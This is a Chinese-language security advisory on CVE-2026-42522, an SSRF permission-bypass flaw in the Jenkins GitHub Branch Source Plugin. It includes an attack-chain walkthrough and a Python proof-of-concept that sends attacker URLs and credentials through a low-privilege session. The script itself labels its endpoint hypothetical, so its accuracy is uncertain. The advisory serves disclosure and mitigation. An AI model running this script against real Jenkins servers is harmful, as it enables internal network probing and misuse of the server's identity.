IPBUF安全漏洞报告
English
CVE-2026-42522 CVSS 4.3 中危

CVE-2026-42522 Jenkins GitHub插件权限绕过漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-42522
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins GitHub Branch Source Plugin

相关标签

权限绕过JenkinsSSRF访问控制失效CVE-2026-42522

漏洞概述

Jenkins GitHub Branch Source Plugin 在 1967.vdea_d580c1a_b_a_ 及更早版本中存在权限检查缺失漏洞。由于插件未对敏感操作实施充分的权限控制,仅拥有 Overall/Read 低权限的攻击者即可利用此缺陷。攻击者可以强制服务器连接到其指定的 URL,并使用攻击者提供的 GitHub App 凭据进行身份验证。该漏洞可能导致服务器端请求伪造(SSRF),使得攻击者能够探测内网服务或滥用 Jenkins 服务器的网络身份。

技术细节

该漏洞的根本原因在于 Jenkins GitHub Branch Source Plugin 插件在处理特定连接请求时,未正确验证用户的操作权限。在受影响的版本中,插件允许仅具有 Overall/Read 权限(通常视为低权限)的用户触发连接外部 URL 的功能,并指定自定义的 GitHub App 凭据。正常情况下,此类操作应受到更严格的权限限制。攻击者可以通过构造特制的 HTTP 请求,将目标 URL 参数设置为内网地址、云元数据端点或恶意服务,并注入攻击者控制的凭据。由于缺乏校验,Jenkins 服务器会代为发起连接请求。利用此漏洞,攻击者可以实施服务器端请求伪造(SSRF)攻击,探测内网拓扑结构,或者利用 Jenkins 服务器的网络身份绕过防火墙限制访问外部资源。尽管 CVSS 向量显示机密性影响为无,但该漏洞破坏了访问控制模型,可能作为进一步攻击的跳板。

攻击链分析

STEP 1
1. 获取低权限账号
攻击者注册或获取一个具有 Overall/Read 权限的 Jenkins 账号。
STEP 2
2. 识别漏洞端点
攻击者确认 Jenkins 安装了受影响版本的 GitHub Branch Source Plugin,并定位到用于连接 GitHub 的 API 端点。
STEP 3
3. 构造恶意请求
攻击者构造 HTTP POST 请求,在参数中填入攻击者控制的 URL(如内网 IP 或恶意服务器)及 GitHub App 凭据。
STEP 4
4. 发起攻击
攻击者使用低权限账号发送请求。由于缺少权限检查,Jenkins 服务器接受请求并尝试连接到指定的 URL。
STEP 5
5. 利用结果
攻击者通过接收到的请求确认漏洞利用成功,可能进一步进行内网探测或利用 Jenkins 的网络身份。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-42522 - Jenkins GitHub Branch Source Plugin Permission Bypass Description: Exploits missing permission check to connect to an arbitrary URL. """ import requests import sys def exploit(target_url, attacker_url, creds, session_cookie): """ Send a request to the vulnerable endpoint to connect to an attacker-specified URL. """ # The specific endpoint might vary based on Jenkins plugin configuration; # this represents the vulnerable action described in the CVE. endpoint = f"{target_url}/github-webhook/" # Hypothetical endpoint headers = { "Content-Type": "application/json" } cookies = { "JSESSIONID": session_cookie } payload = { "url": attacker_url, "apiUrl": attacker_url, "credentialsId": creds } try: print(f"[*] Sending request to {target_url} to connect to {attacker_url}") response = requests.post(endpoint, json=payload, headers=headers, cookies=cookies, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check attacker server for connection.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <target_jenkins_url> <attacker_url> <attacker_creds> <session_cookie>") sys.exit(1) TARGET = sys.argv[1] ATTACKER_URL = sys.argv[2] CREDS = sys.argv[3] COOKIE = sys.argv[4] exploit(TARGET, ATTACKER_URL, CREDS, COOKIE)

影响范围

Jenkins GitHub Branch Source Plugin <= 1967.vdea_d580c1a_b_a_

防御指南

临时缓解措施
如果无法立即升级插件,建议通过防火墙或网络策略限制 Jenkins 服务器的出站连接,仅允许访问必要的 GitHub 服务器地址。同时,加强对低权限用户的监控,警惕异常的 API 调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表